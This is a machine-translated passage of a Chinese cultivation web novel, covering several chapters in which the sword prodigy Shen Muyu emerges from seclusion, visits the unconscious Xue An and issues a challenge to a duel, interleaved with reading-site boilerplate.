    The cold sweat on the burly man''s forehead slid down instantly, he fell to his knees with a plop, and slammed his head against Xue An.


    "My lord is forgiving! My lord is forgiving. I have no eyes and ran into the lord! Please let me go this time!"


    Xue An looked at him with a smile, and suddenly turned his head to look at Jian Zaixin who had been standing not far away.


    "He will leave it to you, kill and save, whatever you want!"


    Jane was taken aback for a moment.


    The brawny man had already knocked his head at her again and again.


    "Girl Jane, please spare your life! I didn''t mean to betray you before... UU Reading "


    Before he finished speaking, a sword gas had already pierced his throat.


    The burly man was holding his throat with his hands in his hands, looking at Jane Zai heart unwillingly and resentfully.


    Jane Zaixin said indifferently: "Betrayal is betrayal, isn''t it betrayal if it wasn''t on purpose?"


    Words fall. The strong man fell to the ground and died in desperation.


    Only then did Jane breathe out in her heart, and then stepped forward, bowing her hands in courtesy: "My lord, you..."


    Xue An waved his hand, "Okay, now the things here have been closed by me, you can leave as soon as possible, remember to talk to the guy Li Jingxing after you go back, just say that the incident... just let it go!"


    But after hearing Xue An''s words, Jane looked sad in her heart, "My lord, do you know why I came to this dangerous place?"


    "Why?"


    "Because Master, his elders disappeared three years ago... weirdly!" Jian Zaixin smiled bitterly.

 Chapter 2442： Shen 2 Kimiko

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    This can be seen from his haggard expression.


    However, although Ao Shu was funny in his heart, the expression on his face was very serious.


    "Brother Xue''s situation is steadily improving, but when will I wake up..."


    "How is it?" Si Mingqi looked at Ao Shu hopefully.


    Ao Shu shook his head, "To be honest, I don''t know! Because even my master said that Brother Xue''s current situation is extremely special, and it seems that he has entered a certain mysterious realm, which also caused no one to predict that he would wake up. time!"


    After hearing this, Siming Qi showed disappointment on his face.


    The main thing for him here was to find out when Xue An woke up, so that he could use this incident to suppress the subordinates who were more dissatisfied with him.


    Now I didn''t ask anything.


    "What? Are you looking forward to Brother Xue''s wake up?"


    "Of course!" Simingqi nodded immediately, and then said with respect: "Mr. Xue did not shrink from a powerful enemy, even defeated him. This kind of spirit is really admirable, and this is no exception, so naturally Also to Mr. Xue..."


    Ao Shu waved his hand and interrupted the words behind Siming Qi.


    "Okay, don''t talk about these vain things in front of me. I know what you think. Didn''t you just want Brother Xue to stand for you? It''s not difficult. When you go back, tell your people, Although Brother Xue hasn''t woken up yet, you are still his subordinates. If anyone else dares to violate the yin and the yang..."


    A fierce color flashed in Ao Shu''s eyes, "Naturally someone will clean them up!"


    This sentence made Siming Qi shocked all over, and immediately nodded repeatedly in overjoyed manner.


    "Yes, yes, I can rest assured that you have these words from Master Ao Shu, and I hope you can also say a few words for me in front of the Lady Empress. If there is nothing wrong, I will leave first!"


    Siming Qi was very good at observing her words and expressions, and when she saw Ao Shu''s state, she knew that she didn''t like her own nonsense, so he bowed and obediently retired.


    Seeing his leaving back, Ao Shu curled his lips, then strode across the defensive front and walked towards the center.


    now.


    In this central area, An Yan was guarding Xue An''s retreat with red eyes.


    This is the fifteenth day of her stay here.


    Fifteen days ago, An Yan finally broke through the Fu Bao Xiaolou forcibly, wanting to see what happened to Xue An.


    As a result, I saw this scene.


    She didn''t know how many times she cried.


    To be honest, she thought she could control it.


    But when she really walked out of the Fubao Xiaolou and saw Xue An who was enveloped by layers of brilliance, and felt the extremely weak aura of him, she couldn''t stop her tears.


    In fact, when she entered the Fubao Xiaolou, she had vaguely sensed that Xue An must have been injured.


    Otherwise, he wouldn''t let himself take his two daughters to avoid it.


    But I never expected that the injury would be so serious.


    But when he was in the most painful time, he was not by his side. Every time he read this, An Yan felt like a knife.


    Fortunately, Xue An''s breath seems to be steadily increasing in the past ten days.


    This shows that the injury on his body has begun to recover.


    This gave An Yan a little comfort.


    At this moment, Ao Shu arrived.


    She could tell at a glance that An Yan had just cried, but she was very smart and didn''t talk about this topic, but smiled and spoke with An Yan.


    "Sister Yan, how do I feel that the aura on Brother Xue''s body today is stronger than yesterday!"


    "Oh? Really?" An Yan shouted in surprise.


    For her now, the most pleasant surprise was to hear the good news about Xue An.


    "Of course, can I lie to you! At this speed, it is estimated that Brother Xue will really wake up in a few days!" Ao Shu said with a smile.


    "I hope!" An Yan looked softly at the uncertain brilliance in the distance.


    "No matter when he wakes up, I will always be here with him!"


    Seeing the resolute color on An Yan''s face, Ao Shu, who had wanted to say something, was slightly shocked, and then he couldn''t help but say nothing.


    A long time ago, Ao Shu once thought that An Yan was just getting acquainted with Xue An earlier, so Brother Xue would like her so much.


    And my love for Brother Xue is definitely more than An Yan!


    Of course, this thought has long since disappeared along with her acquaintance with An Yan.


    But today when Ao Shu saw the determination on An Yan''s face and felt her courage, he couldn''t help but shake it.


    Because she suddenly understood that compared with An Yan''s love for Brother Xue, her previous feelings were simply naive and laughable.


    This can''t help making Ao Shu feel a little confused.


    And at the same moment, in the depths of the distant starry sky, in the Shen family headquarters.


    The atmosphere is different again.


    Everyone''s face was full of joy, and many people gathered together in small groups, whispering something.


    Seeing this scene, Shen Hongyi couldn''t help but curl his lips secretly.


    Isn''t it that the second son is about to leave the customs!


    Are you all so excited?


    However, there was a trace of self-sufficiency in this sour mood.


    You must know that in the past, she has always been called the first person in the younger generation of the Shen family.


    The root cause is that no one regards the second son as a younger generation anymore.


    His achievements are far beyond his age, and even the elders of the Shen family regard him as the existence of the same class.


    Shen Hongyi is naturally aware of all this.


    It''s just that the second son has been in retreat before, and everyone''s performance is not obvious.


    Until this time, she had just returned from a big defeat outside, and her heart was already depressed.


    It coincided that the second son left the customs, and the whole family was inspired by it.


    All this made Shen Hongyi see the desperate gap between himself and the second son.


    At this moment, a sword intent flew up suddenly, and the great treasurer''s divine thought came from above.


    The second son is about to leave, you immediately go to Chengjian Mountain to greet him!


    Shen Hongyi trembled all over after receiving the instruction, but her fate was inevitable. She took a deep breath, raised her hand to throw the sword intent back, and then flew up and hurried towards Chengjian Mountain.


    For Chengjian Mountain, both large and small sword repairmen of the Shen family are familiar with it.


    Because everyone has to enter the Chengjian Mountain when performing the crown ceremonies, and then choose the sword that will accompany them for the rest of their lives. UU reading


    The second son was practicing in retreat in the grass cottage on the top of Chengjian Mountain.


    That is also the holy place where the most talented talent in the history of the Shen family is qualified to enter.


    Even Shen Hongyi is not qualified to take the half step.


    But today is an exception.


    Because today, the second son is going out!


    And it has been four thousand years since the last time Shen Jiajianxiu retreats from the Cao Lu in Chengjian Mountain!


    Shen Hongyi had just flew into the boundary of Chengjian Mountain, and then he saw a sword intent rising into the sky on the main peak far away.


    Surprised, just like a dragon!


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2442 Shen Er Gongzi Exits), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2443： Shen Muyu who took that 1 step

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    "This sword intent..."


    Shen Hongyi stopped and looked at the sword light soaring into the sky almost unbelievably.


    Although her strength has fallen a lot because of the rebirth of the sword soul, her realm and vision are still there.


    Although separated by a long distance, the sword intent contained in this sword light has reached an incredible level.


    Even Shen Hongyi had an impulse to worship.


    "He really did it, he has already taken that step, my God! What a genius of Tianzong must be able to do this?"


    Just as she stood in despair and whispered softly with a pale face.


    The entire Shen family was sensational, and even the long-silent Jianlou was shocked by this shocking sword.


    In an instant, countless sword lights gushed from it like a tide, and then stood in the sky, stopping to watch.


    Among them, there are many super masters who have disappeared for a long time.


    These people stood together in groups of three or five, all of their eyes cast in the direction of Chengjian Mountain.


    At this moment, the sword light of Chengjian Mountain has pierced the sky and turned into a pillar of light standing upright on the ground.


    Even just looking at it from a distance makes the eyebrows tingling and the skin feels cold.


    This also shows the prosperity of sword intent.


    All the sword repairmen present changed their complexion slightly and talked in a low voice.


    At this moment, at the top of the sword tower, the great treasurer of the Shen family stood with his hands in his hands, looking like a dragon sword light in the distance, his tone was slightly excited.


    "Did he really take that step?"


    Along with the voice of questioning, a vague shadow appeared beside him, and a voice of emotion came from inside.


    "Yes, he did it!"


    It was the mysterious head of the Shen family.


    "To be able to go one step further from the realm of a saint at such an age, there will be limitless achievements in the future! This can be regarded as the most exciting news from my Shen family in the past millennium, so it should be congratulated!" Great road.


    "Yeah, it is indeed worth celebrating. After all, he can break through Wuwu at such an age. It can no longer be described with the simple word genius, but a genius among geniuses!" The Patriarch also chuckled lightly.


    "Okay, I immediately pass the order down to start a big banquet and celebrate for the second son!"


    "No hurry, wait for him to come back first!"


    At the same time, Shen Hongyi, who was closest to Chengjian Mountain, woke up from a daze.


    She took a deep breath, lowered the boiling air and blood pressure in her heart, and then resisted the scorching sword intent, and flew in the direction of Chengjian Mountain Caolu.


    But just a few steps before she moved forward, numerous cracks suddenly appeared in the space in front of her, shattering like a mirror.


    Then a teenager walked out of it.


    Said to be a teenager, in fact, he is even more delicate and beautiful than Shen Hongyi, who is a woman.


    In particular, the pair of Danfeng eyes were even more radiant, as clear as spring water.


    Although just standing there simply, Shen Hongyi felt a breathtaking pressure from this young man for the first time.


    This coercion penetrates the bone marrow and infects the soul.


    Even Shen Hongyi with a strong sword heart couldn''t help being frightened, then lowered his head deeply and said respectfully.


    "Second Young Master!"


    That''s right!


    This young man who was more delicate than a woman was the famous second son Shen, Shen Muyu.


    After seeing Shen Hongyi, Shen Muyu chuckled.


    His smile was like a thousand flowers blooming at this time, which was fascinating.


    This man really has a unique charm that is indistinguishable from male and female.


    Then she heard Shen Muyu say in a warm and full of magnetic voice: "Sister Hongyi, your injury is not healed yet?"


    Shen Hongyi''s cheeks reddened, and his head was lowered.


    Because if you talk about age, you really are the sister of the second son of Shen!


    But this is what makes her most desperate.


    So she gave a low hmm, trying to prevaricate this matter as much as possible.


    But at this moment, a breeze hit, and Shen Muyu suddenly took a step forward, approaching Shen Hongyi, and then raised her hand a little between her eyebrows.


    Shen Hongyi was shocked.


    However, the contact was separated instantly, and then Shen Muyu withdrew his finger, turned and flew towards the sword tower.


    Shen Hongyi stared at his back blankly, eyes full of infinite horror.


    Because of that simple contact just now, her strength that fell due to the rebirth of the sword soul has been restored, not only that, but even her own sword heart is much stronger and clearer.


    This method is incredible.


    It is estimated that even the big shopkeeper will not be able to do this in person!


    Could it be... his strength has surpassed the big shopkeeper?


    Shen Hongyi was taken aback by his own thoughts.


    "Sister Red, why are you still standing there? Come back to see the Patriarch with me!"


    "Oh...oh! Good!"


    Hearing Shen Muyu''s voice in his ears, Shen Hongyi suppressed the shock in his heart and got up and followed.


    The sword tower at this moment is extremely lively.


    Almost all the Jian Xiu who devoted themselves to cultivation were shocked, gathered together, waiting for Shen Muyu''s arrival.


    When he stepped into the hall, everyone was shocked.


    Some people even snorted, with blood dripping from the corners of their eyes.


    That''s because just now, many people have issued a sense of detection to Shen Muyu.


    But I never expected that Shen Muyu at this moment, its sword intent was like the noon sun.


    Those prying eyes were directly hurt by it.


    Only this one shocked many people who had originally wanted to stand out from the limelight and dared not have this idea anymore.


    Shen Muyu completely ignored these reactions from the outside world. He walked slowly into the court, looked up at the high platform in the middle, and then bowed his hand.


    "Mu Yu, I''ve seen the Patriarch, I''ve seen the big shopkeeper!"


    The tone is light and soothing, warm as jade.


    On the high platform, the shopkeeper stroked his beard and smiled.


    "Good! Good! Good!"


    Three good words were said in a row.


    There was also a satisfying laugh from the blurred figure next to him.


    "Very well, since you have successfully broken through the barriers, then we will have full confidence in the next Hundreds Conference, pass my order, and immediately hold a banquet to celebrate this event!"


    "Yes!"


    As soon as this remark came out, the Shen family of UU reading www.uuk��nshu.com heard the wind and moved.


    But at this moment, Shen Muyu gently shook his head.


    "Don''t be so anxious, I still have one thing left to solve, and it''s not too late to come back for a drink after I have solved it!


    "What''s the matter?" Patriarch asked.


    Shen Muyu chuckled, Dan Feng''s eyes flashed Guanghua, "Naturally it is about the Jianxin of my Aunt Jing''s line!"


    "You mean Xue An?" the shopkeeper asked.


    Shen Muyu nodded, "That''s right! He not only held my Shen family swordsman, but also defeated my Shen family''s two major sword repairers, and even the red sister returned in a miserable defeat, so I will naturally go and meet him!"


    "But..." The treasurer still hesitated.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Shen Muyu who took the step in Chapter 2443), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2444： Warm wine waiting

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Because he has definite news that Xue An is still in retreat and did not wake up.


    In this case, even if Shen Muyu goes there, he can''t do anything, so he can''t do anything to a person who is still in retreat, right?


    In that case, the Shen family can''t afford to lose that person!


    Shen Muyu chuckled as if seeing the big shopkeeper''s concerns.


    "Don''t worry, the big shopkeeper, I''m just going to take a look first. If he wakes up, I can talk about it. If he doesn''t wake up, I will have my own measures. There will be no evil!"


    "Okay, then I''ll be waiting for you here, go and come back quickly!"


    "Don''t worry, I can return in one day at most! Everyone wait here for a while!"


    With that said, Shen Muyu turned around, then turned into a sword light, slammed into the space in front of him, and disappeared.


    The speed was so fast that a big scarred hole was left in the hall space in the blink of an eye.


    Everyone was silent.


    The Pharmacist Alliance is more than hundreds of millions of miles away, but in Shen Muyu''s mouth, it looks like his own backyard, and he can go back and forth in one day.


    How powerful is this strength to have the confidence to say this kind of thing.


    Shen Hongyi looked at the gradually broken space-time passage in the field with a complex expression.


    Is this the gap between himself and the top sword repairer?


    At the same time, the shopkeeper said solemnly: "Continue to prepare for the banquet. I will wait for the warm wine to wait for the good news from the second son!"


    "Yes!"


    Today is Ao Shu on duty on the defensive front.


    Said to be on duty, in fact, it is just sitting there boringly, staring at the endless void in a daze.


    After all, the current Pharmacist Alliance, who doesn''t know that this place has been tightly sealed.


    No one will come here on purpose.


    So Ao Shu soon yawned boredly.


    "It''s really boring, you should know that you should have brought a game console from Sister Yan just now!"


    "What is a game console?" The little Hulu on the side suddenly asked.


    Today, she rarely gnawed orbs in the house and slept, but she also came to the front on duty.


    "It''s just a square box with a screen similar to the light and shadow of a water curtain. You can touch and control it with your hands. There are many interesting little games inside, which are very fun!"


    Xiao Hulu''s eyes lit up, "It sounds interesting, when will you let me have fun too?"


    "Okay, Sister Yan has a full warehouse of game consoles, and there is another type of computer that can be controlled by typing, which is also very fun!" Ao Shu said enthusiastically.


    The little gourd seemed to be a little itchy, "Then you can go to Sister Yan to borrow one now!"


    "Now? But now I am on duty here!" Ao Shu said embarrassedly.


    In order to prevent people with bad intentions from approaching, Jiu Tian Xuannv made a special rule that different people should be on duty here every day.


    Today it happened to be Ao Shu''s turn. Although it was boring, the rules were the rules. Since it was established, she had to abide by it, and it was not allowed to leave her post without permission.


    But Xiao Hulu is obviously a little impatient, "Isn''t I here? After you leave, I can be on duty for you!"


    "Then, should I try?"


    Obviously, Ao Shu was also a little bit ready to move.


    You must know that she has always been active and not quiet, and it is a bit boring to be here today.


    "Go, go, and quickly bring a game console back!" Xiao Hulu said.


    Ao Shu nodded, "That''s good, but if the Lady Empress finds out, you have to speak for me!"


    For the Nine Heavens Profound Girl, Ao Shu actually had a kind of fear from the bottom of his heart.


    "Don''t worry!" Xiao Hulu promised, patting his chest.


    At this moment, where there is still a little bit of coldness from the past, she behaves just like an ordinary child.


    But just when Ao Shu got up and was about to leave, the void in the distance was suddenly shattered by life, and then a sword light flew to the front.


    This sudden scene made Ao Shu frightened and horrified, and immediately put the thought of leaving behind, and then sternly asked.


    "who?"


    The Dragon Yin was hidden in the voice, which actually formed a faint barrier.


    If an ordinary monk hits it, he will definitely have a black nose and a swollen face.


    But facing this barrier, there was a chuckle from the sword light, and then suddenly stopped in the air, abruptly stopping the car in front of the barrier.


    This magical control method surprised Ao Shu.


    At the same time, the sword light dissipated, revealing the figure inside.


    After seeing the person, Ao Shu couldn''t help but blurted out.


    "Are you a man or a woman?"


    There is no other reason. It is because the person here is too beautiful and delicate. If it weren''t for the bulge, Ao Shu would really think that the person here was a woman.


    The person who came was Shen Muyu.


    I saw him chuckle, and gave Ao Shu a meaningful look, "Dragon Girl?"


    Then he raised his eyebrows slightly, "Do you think I am a man or a woman?"


    The voice was lazy and gentle, but with a kind of intimidating power.


    Ao Shu felt that his eyes were tingling, his cheeks were cold, and he just wanted to talk.


    The little gourd behind her took her hand.


    Ao Shu turned his head to look, but saw that Xiao Hulu''s complexion at the moment was extremely solemn, and his eyes were full of jealousy. Then he shook his head gently at her and motioned her not to speak.


    This is something Ao Shu has never seen before.


    In the past, no matter what the situation was, this little gourd looked unhappy.


    Only this time, it changed so much.


    But at this moment, Shen Muyu suddenly gave a soft voice, and then said with great interest: "Non-human, non-demon, non-god, non-devil, what a strange life form!"


    As soon as he said this, the fear on Xiao Hulu''s face became even worse, and the whole person was slowly backing away.


    But in the next instant, Shen Muyu appeared in front of Xiao Gourd, raised his hand and gently stroked her head.


    The small gourd froze in an instant, and didn''t even dare to move.


    However, Shen Muyu''s movements were very fast, and after a light stroke, he chuckled.


    "Interesting, really interesting!"


    After that, his figure flashed again, and once again broke through the space in front of him, disappearing.


    After he left, Xiao Hulu let out a sigh of relief.


    But Ao Shu suddenly exclaimed, "It''s broken, the direction he is going is Brother Xue!"


    With that said, she jumped up and rushed to Xue An''s retreat in the center of the battlefield.


    She left, and the little gourd stood there. It was a long time before she stomped her foot severely, "It''s a game console!"


    He rushed over as he said.


    At the same time, in the center of this battlefield, Jiu Tian Xuan Nu and An Yan stood side by side, discussing about Xue An.


    "From the current situation, it is estimated that Xue An will be able to wake up in one month! So you don''t have to worry too much!" said Jiu Tian Xuan Nu.


    "Well, I understand!" An Yan nodded.


    As soon as the voice fell, the Nine Heavens Profound Girl suddenly turned her head, her face showed infinite horror.


    "who?"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2444 Warming the wine to wait for good news), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2445： omnipotent

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    As soon as the voice fell, the void not far from the two broke directly, and then Shen Muyu rushed out of it.


    Seeing this scene, the pupils of the Nine Heavens Profound Girl instantly shrank to the size of a needle, and she exclaimed, "Shen Jiajian Xiu?"


    Following the voice, she rushed out like a cannonball, trying to intercept Shen Muyu.


    But even she couldn''t catch up with Shen Muyu''s footsteps.


    Shen Muyu even gave a chuckle in his spare time.


    "Are you the Empress Xuantian?"


    As he said, his figure speeded up again, and in the blink of an eye it turned into a stream of light that was almost invisible to the naked eye, and completely left the Nine Heavens Profound Girl behind him.


    The complexion of Nine Heavens Profound Girl became extremely ugly, and she gritted her teeth, desperately chasing after her.


    Because she knew that this Shen Jia Jianxiu, who was countless times stronger than the previous Shen Hongyi, must have come for Xue An.


    Although she didn''t believe that the Shen family, who had always cherished feathers, would attack a person who hadn''t awakened in retreat, she was afraid of everything and she had to guard against it.


    But even if she tried her best, she still couldn''t catch up with Shen Muyu, which couldn''t help feeling desperate in her heart.


    But at this moment, a thunder light suddenly struck Shen Muyu in front of Shen Muyu with lightning speed.


    boom!


    The thunder was splattering.


    Although Shen Muyu''s cultivation base didn''t care about this thunder light at all, the timing of this thunder light appeared really good.


    Even he still inevitably slowed down a bit.


    And at this moment, Jiutian Profound Girl seized this opportunity, and finally passed him with a flash, and then blocked the road.


    Shen Muyu was taken aback, and immediately stopped, but instead of looking at the Nine Heavens Profound Girl, he rushed towards An Yan in the distance and smiled slightly.


    "The timing is good! It''s that Lei Zun''s strength is too bad!"


    That''s right!


    It was An Yan who had just thundered.


    She was holding a pan in her hand, standing coldly, her face full of determination and determination.


    It''s just that although her heart is firm as iron, there is a miserable wailing in the pan in her hand.


    "From the first fairy emperor to the fairy sovereign, what is this now? A saint? You can just kill me!"


    It was the hapless Lei Zun.


    "Shut up, if you dare to make a noise, I will throw you over now!"


    An Yan shouted coldly, and Lei Zun in the pan immediately closed his mouth.


    It was really afraid that the mistress would throw himself over again.


    Because the cultivation base of the opposing person has exceeded its understanding, if it were in the past, it is estimated that he would not even know how to die.


    At this moment, An Yan''s heart was trembling slightly.


    The boy in front of her who was even more beautiful than a woman gave her a strong deterrent.


    This feeling is as if facing not a person, but an omnipotent god.


    But even so, An Yan did not take a step back, but stared at Shen Muyu coldly.


    "If you want to pass, then step over my corpse!"


    At the same time, Ao Shu and Xiao Hulu also arrived.


    As soon as he saw the situation in the field, he immediately dispersed, forming a siege to Shen Muyu.


    But in the face of such a battle, Shen Muyu didn''t even turn his head, just smiled faintly at the Nine Heavens Profound Girl and An Yan in front of him.


    "It''s really getting more and more lively, but do you really think that this can stop me?"


    Following the voice, Shen Muyu''s eyes flashed with brilliance, and a majestic sword intent came crashingly.


    The sword intent meant that everyone present instantly froze in place, even the Nine Heavens Profound Girl.


    She saw her eyes widened in an instant, and she looked at Shen Muyu in disbelief, and a storm surged in her heart.


    This young man... has actually taken that crucial step!


    Right, that is it!


    Otherwise, how could he suppress me so I can''t even move my fingers?


    As for others, it is no exception.


    Including An Yan, they all stood frozen in place, unable to move their eyelids.


    But a look of surprise flashed across Shen Muyu''s face, and then slowly turned around and looked at the little gourd standing not far behind him.


    Among the audience, she was the only one who was not affected at all, but looked at Shen Muyu with a guarded expression.


    "Interesting, you are not affected by my sword intent, don''t you have a soul?" Shen Muyu said with interest.


    Little Gourd was trembling slightly, which was an expression of extreme fear of Shen Muyu.


    But even so, she still did not retreat.


    "No, so what? At least I won''t do anything to someone who is seriously injured and retreat!" Xiao Hulu said coldly.


    Shen Muyu laughed loudly, "What? Are you mocking me?"


    "if not?"


    "Then are you not afraid that I will kill you with a single sword?" Shen Muyu suddenly narrowed his smile and said coldly.


    "I''m afraid, but I still want to say it, and death is nothing to me. It''s a big deal to dormant in the dark for thousands of years!" Little Calabash said lightly.


    Shen Muyu took a deep look at Xiao Hulu before sighing lightly.


    "Actually, all of you have overreacted. I am not here to do anything to Xue An. I just want to see who can get the Shen Family Jianxin and defeat my Shen Family''s two major sword repairmen with the body of Immortal Venerable. What is sacred! So..."


    "You can rest assured, I just come over to take a look, and then leave immediately!"


    After listening to Shen Muyu''s words, Little Calabash pondered for a moment, then nodded, took a step back, and stopped talking.


    As for Jiu Tian Xuan Nu and others, although their bodies still can''t move, these words can be heard in their ears, and their hearts are loose.


    In any case, the Shen family still did not abandon their pride.


    In this way, Xue An''s life should be worry-free.


    At the same time, Shen Muyu stepped forward to Xue An''s retreat.


    At this moment, countless luminosity swayed and flickered here, and Xue An, who was in the middle, was sitting staggeringly, his eyes closed tightly.


    Shen Muyu took a deep look at him, then suddenly stretched out his hand.


    With a choke, a sword light suddenly flew out of Xue An''s body and fell into Shen Muyu''s hands.


    It is the small red sword.


    At this moment, the body of this small sword trembled lightly, seeming to want to break free from the shackles of Shen Muyu.


    But everything was in vain, Shen Muyu stretched out his hand and gently stroked the blade of Yin Hong Xiaojian.


    With the fingertips passing, the sword body quieted down.


    A look of contemplation appeared on Shen Muyu''s face.


    Because as most people in the Shen family thought, Xue An must have obtained this Shen Jianxin through some ulterior motive.


    But after holding the sword in his hand at this moment, Shen Muyu found that the facts were not what they had imagined.


    At least he didn''t feel the slightest resentment from this Shen Jiajian''s heart, on the contrary, it was more deeply attached.


    It''s like a dying entrustment from a close friend.


    Could it be...this thing is really as he said, it was a gift from a friend?


    But is this really possible?


    While Shen Muyu was pondering, he saw that Yin Hong Xiaojian, who had been quiet, suddenly began to tremble violently.


    Shen Muyu raised his eyebrows slightly, "What? Are you going back? Are you really willing to follow him?"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2445 Omnipotence), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2446： Establish a battle book

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Little Jian would naturally not answer, but the sword intent it showed still told Shen Muyu its attitude.


    This can''t help but make Shen Muyu deeply curious about Xue An again.


    "It''s really weird, what charm do you have that can make Jianxin who belong to the Shen family follow you so loyally?"


    Shen Muyu said meaningfully, with layers of glitz in his eyes, looking at Xue An.


    "what��."


    He suddenly whispered because he was surprised to find that all his prying eyes had melted like ice and snow after reaching Xue An''s body.


    This is something that has never been encountered before.


    Especially for the self who just took that step and broke through, it is even more unimaginable.


    Shen Muyu couldn''t help becoming more and more interested in Xue An.


    "You can actually block my prying eyes, you Immortal Venerable, you are really different!"


    In fact, Shen Muyu also saw that Xue An seemed to be in an extremely mysterious realm at this moment.


    However, he still chuckled and separated a ray of spiritual thoughts, ready to enter Xue An''s world again for investigation.


    But at this moment, the space around Xue An suddenly began to tremble violently.


    Immediately afterwards, a ray of strong to sharp, invincible sword intent suddenly appeared, directly extinguishing the thought that Shen Muyu had separated, and slashed towards Shen Muyu with the force of thunder.


    Shen Muyu didn''t move, but looked rather curiously.


    It wasn''t until this strand of sword intent was imminent that it was about to pierce the center of the eyebrows, and then a sword intent emerged, and the needle tip collided with the strand of sword intent like a ray of wheat.


    Click!


    Accompanied by a crisp explosion, the two collided, annihilated each other, and finally disappeared invisible.


    But before Shen Muyu breathed a sigh of relief, a sharper and purer sword intent suddenly emerged from the sword intent that had been offset. Cut off.


    The speed was so fast that even the space was shocked by ripples.


    Caught off guard, Shen Muyu turned his head slightly, and Jian Mang slanted across, leaving a shallow scar on his delicate face.


    In an instant, everything was quiet!


    Shen Muyu slowly turned his head back, red marks on his face were still visible, but no blood flowed out.


    And in his eyes, it is full of incredible colors.


    What kind of cultivation is oneself?


    One step further in the sage''s realm, half of his foot stepped into the door of the mystery.


    In the end, he was hurt by a monk who was just Xianzun!


    If this spreads out, it will surely start a stormy sea.


    But even so, Shen Muyu was not irritated, but after a brief consternation, it turned into a shallow smile at the corner of his mouth and an eagerness in his eyes.


    "Very good! It''s really good. It seems that this originally boring Tian Waitian finally has an exciting existence!"


    "Your sword intent is indeed very unique, and the realm is extremely high. No wonder you can defeat the red sister, but you succeeded in the sneak attack while I was not paying attention this time. There will be no such good thing next time!"


    As he said, the red marks on Shen Muyu''s face disappeared in the blink of an eye, and then he raised his hand, and the Yin Hong sword in his hand screamed and returned to Xue An''s body.


    "It will be the Hundreds of Families Meeting soon, and at the speed you are recovering now, you will definitely wake up at that time, so...I look forward to the day when you fight against the Hundreds of Families!"


    After Shen Muyu said, with a wave of his hand, a sword intent burst out, cutting out a huge crack in the space.


    This hand directly shook the starry sky in a radius of tens of millions of miles, and the entire Pharmacist Alliance was also shaken by it.


    Everyone turned their heads together and looked at the sword marks that stretched for hundreds of thousands of kilometers in the distant void with all their faces.


    Then he heard a clear voice resounding through the entire pharmacist alliance.


    "Shen Family Shen Muyu is here to set up a statement of war, at the top of the Hundred Schools Conference, I will fight this Xue An for life and death!"


    When the words fell, Shen Muyu''s people turned into swords of light, went through the void, and disappeared.


    As soon as he left with his front foot, the Nine Heavens Profound Girl, An Yan and others returned to normal.


    An Yan immediately rushed to Hua Guang and stared at Xue An inside. After realizing that he was indeed nothing strange, he let out a lingering breath.


    It really frightened her just now.


    After all, she had never encountered an opponent as powerful as Shen Muyu.


    During the chat and laugh, he actually controlled both himself and the Nine Heavens Profound Girl.


    Nine Heavens Profound Girl looked at the direction of Shen Muyu''s departure, her eyes flickering.


    She naturally knew what the name Shen Muyu meant.


    The second son of the Shen family, the most stunning and brilliant genius in thousands of years.


    It was rumored that he was the youngest kendo saint in the Shen family.


    Unexpectedly, he hadn''t seen him in decades, but he actually broke through again, taking a step that he could not take.


    No wonder he is regarded as the person most hopeful to inherit the mantle of the sword emperor who founded the Shen family.


    But at the same time, she also felt deeply worried about it.


    Shen Muyu understood that the Shen family was not finished, and he had to compare with Xue An before the Hundred Schools Conference.


    Although the Nine Heavens Profound Girl knew Xue An''s potential and was shocked by his growth rate, this time he was not facing an ordinary powerhouse, and even surpassed the realm of a saint.


    This is absolutely impossible for him to be able to challenge the Immortal Venerable!


    Unless he can really make a major breakthrough in this retreat, otherwise...


    The Nine Heavens Profound Girl''s worries are not unreasonable, but she did not say it, but buried it deeply in her heart.


    But even if she didn''t say it, how could she not understand the truth of this as smart as a peaceful face.


    So she was obsessed with the glitz, and prayed silently in her heart.


    Husband, you have to wake up safely!


    At the same time, the entire pharmacist alliance also became a sensation.


    "Shen Muyu! God, isn''t this the second son of the Shen family? He actually came here in person!"


    "One sword shattered hundreds of thousands of miles of void, what a powerful sword intent!"


    "Unbelievable, unbelievable!"


    "This Xue An is completely finished now, and Shen Muyu has personally written the battle book!"


    "Yes, after all, the dignity of the Shen family cannot be challenged!"


    There was a lot of discussion for a while, and everything was said.


    And this news spread quickly like a hurricane.


    Yue family. UU reading


    When Yue Shifang received the news, he was speechless for a while.


    It wasn''t until a long time passed that he sighed faintly.


    "Shen Muyu... this enchanting genius has also left the customs! It seems that this time the Hundred Schools Conference will definitely be very lively!"


    Seeing this, the second **** the side couldn''t help asking: "Don''t you worry about Xue An?"


    "Worry about Xue An? Why should I worry about him? I''m afraid he will be killed by this Shen Muyu again?"


    "Couldn''t it?" the second girl asked rhetorically.


    Yue Shifang shook his head and chuckled, "Don''t worry, it''s impossible! This Xue An is definitely harder than you and me, even if we die, he can''t die! After all...the protagonist!"


    In order to facilitate the next reading, you can click the "Favorites" below to record the reading record of this time (Chapter 2446 Establishing the War Book), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2447： Drink this cup

    "Invincible, start a novel from Daddy Xianzun ( Find the latest chapter!


    Shen family.


    The flames were beating happily, causing the wine in the glass to rise warmly.


    The audience was silent.


